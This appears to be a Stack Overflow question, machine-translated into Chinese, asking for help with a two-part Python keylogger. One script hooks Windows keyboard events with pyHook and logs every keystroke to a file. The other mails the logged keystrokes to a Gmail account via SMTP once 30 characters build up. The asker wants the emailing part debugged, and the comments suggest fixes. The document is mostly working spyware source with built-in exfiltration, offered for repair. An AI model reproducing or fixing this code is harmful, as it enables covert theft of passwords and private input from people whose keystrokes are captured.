我正在製作兩部分鍵盤記錄,實際的keylogger.py和email.py文件。該電子郵件部分不工作Python電子郵件,smtplib參數錯誤
代碼:
import urllib2
import smtplib
import time
def internet_check():
try:
response=urllib2.urlopen('http://www.google.com',timeout=10)
return True
except:
return False
def main():
while len(open('output.txt','r+').read()) < 30 or not internet_check():
pass
mail=smtplib.SMTP('smtp.gmail.com:587')
mail.starttls()
mail.login('sendinguser','pass')
mail.sendmail('sendinguser','receivinguser',open('output.txt','r+').read())
mail.quit()
open('output.txt','w').write()
main()
try: #it wont run without this part idk why, it doesnt even give an error,nothing
main() #please explain
except Exception,e:p=input(str(e))
執行它的作品第一次後,它等待30個字符,然後發送電子郵件和清除文件output.txt中。 但在那之後,當main()函數運行第二次,它打印:
function takes exactly 1 argument (0given)
而且完蛋了。任何想法爲什麼?如果需要的話
鍵盤記錄代碼:
import pyHook
import pythoncom
import pywintypes
import time
import sys
import os
f=open('output.txt','a+') #i know it isn't neat, i'll clean it up later ;)
f.write('\n'+time.asctime()+'\n')
f.close()
def OnKeyboardEvent(event):
if event.Ascii==96:
os.system("taskkill /im pythonw.exe /f")
sys.exit()
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
f=open('output.txt','r+')
buffer=f.read()
f.close()
f=open('output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我敢肯定它就是第一個代碼,任何幫助將不勝感激,謝謝你提前。
請刪除'main()'附近的try和except。如果您除了打印異常之外沒有其他任何操作,那麼您根本不應該處理它,因爲Python將打印出一個完整的回溯,這是非常有用的。 – 2015-04-01 22:30:17
你從來不會用'open('output.txt','w')。write()'寫任何東西,你也可以用w打開它。 – 2015-04-01 22:30:23
我想打開文件('output.txt','w')。write()及其實際工作的部分 – dickbuttr 2015-04-01 22:34:20